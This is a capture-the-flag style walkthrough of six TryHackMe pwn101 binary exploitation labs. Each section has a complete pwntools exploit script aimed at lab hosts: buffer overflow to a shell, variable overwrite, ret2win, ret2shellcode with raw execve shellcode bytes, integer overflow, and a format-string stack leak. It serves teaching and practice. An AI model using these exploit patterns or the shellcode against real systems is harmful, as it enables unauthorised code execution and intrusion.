Pwn101 Tryhackme
This is about binary exploitation and reverse engineering on a tryhackme machine pwn101. There are 10 labs for 10 different kinds of binary vulnerabilities.
- Buffer overflow
- Modify the variable’s value
- Return to win
- Return to shellcode
- Integer Overflow
- Format string exploit
- Bypassing mitigations
- GOT overwrite
- Return to PLT
- Playing with ROP
pwn101
So let’s start with pwn 101 it has a downloadable file pwn101.pwn101, And it is about buffer overflow.
First checksec
a binary to see what mitigations is provided with it,
You can see there is no any stack canary available to protect from buffer overflow, so run the binary and provide a large no of inputs other than it expected. If you don’t know what stack canary is click here.
OK we successfully overflowed the binary function gets which is vulnerable to buffer overflow and jump to /bin/sh
. So to get flag we have to test on remote server.The exploit written in python with help of pwntools.
You can check others exploits on my github repo here.
#!/usr/bin/env python3
from pwn import *
binary=context.binary=ELF("./pwn101.pwn101")
context.log_level="critical"
payload=b"A"* 0x40 + b"A"*0x4 + b"B"*0x8
p=remote("10.10.86.157",9001)
#p=process()
p.sendline(payload)
p.recv()
p.interactive()
Run the python script ./exploit101.py
and we got the flag on the remote server.
pwn102
Ok as usual lets start with the checksec using command.
checksec -file=pwn102.pwn102
Also there is no stack canary present, and it is vulnerable to buffer overflow Lets debug this binary on radare2,
r2 -d -A pwn102.pwn102
The scanf
function is taking values in @rbp-0x70
without any size validation so we can overflow the buffer but we need to modify two variables @rbp-0x4
and @rbp-0x8
with0xc0d3
and 0xc0ff33
respectively because these are set on the stack above buff4r.
After that we can get to call /bin/sh
and spawn a shell.
Lets write a script to execute on remote server on port 9002.
#!/usr/bin/env python3
from pwn import *
context.binary=binary=ELF("./pwn102.pwn102")
context.log_level="critical"
payload = b"A"*104
payload+= p32(0xc0d3)
payload+= p32(0xc0ff33)
#p=process()
p=remote("10.10.103.79",9002)
p.sendline(payload)
p.interactive()
Finally we got the flag
pwn103
Ok This is about re2win
, it is basically overwriting the instruction pointer to return to the desired function.
lets start with checksec
.
There is no stack canary and PIE is disabled, meaning we can overflow the buffer and the address of the function won’t change between execution (PIE disabled)
.
lets run the binary first and see.
./pwn103.pwn103
It’s asking for options and case 3 is vulnerable to buffer overflow, we can send as many bytes we want because it is using scanf()
function that is not checking buffer size limitations as you can see below.
So as mentioned earlier PIE
is disabled so address won’t change on execution.We can get win() function and this time it is admins_only() which will spawn a /bin/sh shell. So we will get admins_only address (sym.admins_only)
and overwrite the RIP
to return the general()
function to
admins_only()
.
Lets write a script to get the flag on remote server on port 9003.
#!/usr/bin/env python3
from pwn import *
context.binary=binary=ELF("./pwn103.pwn103")
context.log_level="critical"
#p=process()
p=remote("10.10.114.45",9003)
#get the win() function address
admins_only=p64(binary.symbols.admins_only)
#To overcome stack alignement we have to put ret gadgets
ret_address=p64(0x00401377)
#We overwrite the buffer as well as 0x20 bytes until reach rbp and overwrite rip with win() adress
payload=b"A"*0x20 + b"B"*0x8 + ret_address + admins_only
#To choose vulnerable option
p.sendline(b"3")
p.sendline(payload)
p.interactive()
In the above exploit we are first sending b"3"
bytes to choose option general, then sending bytes of 0x20
to overwrite the buffer until we reach to the RBP and 0x8
bytes to overwrite RBP itself and ret_address
for stack alignement as well as admins_only adress to overwrite the RIP to call win() function (admins_only)
.
Run the script and get the flag.
Ppython exploit103.py
pwn104
This lab has file pwn104.pwnn104 which we have to download. Its about ret2shellcode
, basically executing shellcode
or remote code execution(RCE)
At first run the binary file and see what we got.
./pwn104.pwn104
Here we can see its leaking address 0x7ffc7ae5a10
, which we really don’t know what it is? And this address is changing everytime you run the binary because of Address space layout randomization(ASLR).So lets check the file.
checksec -file=pwn104.pwn104
Actually it has not any mitigations actually other than partial relro.
There is no stack canary
, NX disabled
, No PIE
, so we can overflow the buffer, and also can execute shellcode
as well as adresses won’t change between execution.
So lets open with cutter and analyze the binary.
There is read
function that reads our input as bytes ranging from 0–200 bytes(0xc8)
at the end and stores in buf
at memory rbp-0x50
and we can overflow this buffer pretty easily.
Then it returns to the address and exits the program. Unlike previous lab here is not any win()
function to return to after overflowing buffer, but we can execute shellcode from stack as NX is disabled.
And now basic summary is that we first overflow the buf
with shellocode and remaining spaces with A’s and B’s and also overwrite rbp itself. Then to execute code by returning to shellcode we should overwrite the instruction pointer
with buff_address
where we stored shellcode. Due to ASLR
address might change on execution on system though NX is disabled,but luckily we have address of buf
every time running the binary which is 0x7ffc7ae5a10
.
And what shellcode we should provide and well it is code that will execute /bin/sh
on the system and you can find it here.
We successfully got the shell but locally, now to get the flag test on the remote server. So let’s write the exploit.
#!/usr/bin/env python3
from pwn import *
binary=context.binary=ELF("./pwn104.pwn104")
context.log_level="critical"
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#p=process()
p=remote("10.10.144.168",9004)
p.recv()
output=p.recv()
buff_address=int(output.split(b"at")[1].strip().decode("utf-8"),16)
payload=shellcode + b"A"*(0x50 -len(shellcode)) + b"B"*0x8 + p64(buff_address)
p.sendline(payload)
p.interactive()
Here we should parse the output to get actual buff_address
to return.
We got the flag.
pwn105
This is all bout integer overflow and underflow. If you want to know more about integer overflow here is the link.
Now as always lets check the binary,
It is 64 bit ELF executable with dynamically linked and not stripped.
checksec -file=pwn105.pwn105
It has every protections, like canary, NX
bit enabled and PIE
is also enabled. So every previous attacks are minimized.
lets dig into the debugger to see anything we can do to exploit this binary.But first run the binary.
./pwn105.pwn105
It is asking for two unsigned integers and gives output but if we provide signed numbers it detects errors. So let’s check the internal programs to evaluate the binary more deeper.
The values provided by users are stored in the var_14h
and var_10h
and after adding the sum is stored in var_ch
. Then it checks both of the values are unsigned(+) or not.
After that the sum is compared if it is signed or unsigned
. If its signed then we jump to the next address where system function is called to /bin/sh
and pop up a shell.
So we know we need to make sum signed(-) but how is this possible with both unsigned
numbers. Here comes the vulnerability of integer overflow and underflow
. If we add any unsigned numbers to the maximum possible unsigned numbers in 8,16,32 or 64 bits integer then integer is overflowed and becomes signed(-)
and vice versa for underflow.
So to exploit this binary we should overflow
the integers by adding any unsigned numbers to the maximum possible 32 bits unsigned integer(2,147,483,647)
and which is (2,147,483,647+1)=-2,147,483,648
.
so let’s write our exploits to get the flag on the remote server and get the flag.
#!/usr/bin/env python3
from pwn import *
binary=context.binary=ELF("./pwn105.pwn105")
p=remote("10.10.23.48",9005)
p.sendlineafter(b"]>>",b"2147483647")
p.sendlineafter(b"]>>",b"1")
p.recv()
p.interactive()
pwn106
Let’s begin another challenge, it is about fromat string
vulnerability. This is basically exploiting format specifier of printf()
family. If you want to learn more then go here.
First checksec -file=pwn106user.pwn106-user
the binary and we got mitigations for each and every field.
Now Let’s run the binary.
Ok, you can see we are able to leak something. But we don’t know what is this stuff. If you don’t know it is leaking decimal values from registers
and stack(0x64 architecture)
.
if we supply more format specifier
on the user input, vulnerable printf() function will leak every values from registers and stack. The order of leaking start from first register (rsi,rdx,rcx,r8,r9)
and then remaining stack.
So our flag starts from "THM"
whose hex value is "54484d"
which you can see is in 6th position and up to ‘x}’ 0x7d58
which is 10th. For this we have to write exploit to get flag on remote server.
#!/usr/bin/env python3
from pwn import *
binary=context.binary=ELF("./pwn106user.pwn106-user")
#context.log_level="debug"
#(rdi) rsi, rdx, rcx, r8, r9, then stack is leaked.
payloads="%6$lx.%7$lx.%8$lx.%9$lx.%10$lx.%11$lx"
#p=process()
p=remote("10.10.5.50",9006)
p.recv()
p.recv()
p.sendline(payloads)
output=p.recv().strip().split(b" ")[1].split(b".")
flag=""
for word in output:
flag+=bytes.fromhex(word.decode("utf-8"))[::-1].decode("utf-8")
print("The flag is:{}",format(flag))
let’s run the exploit and get the flag.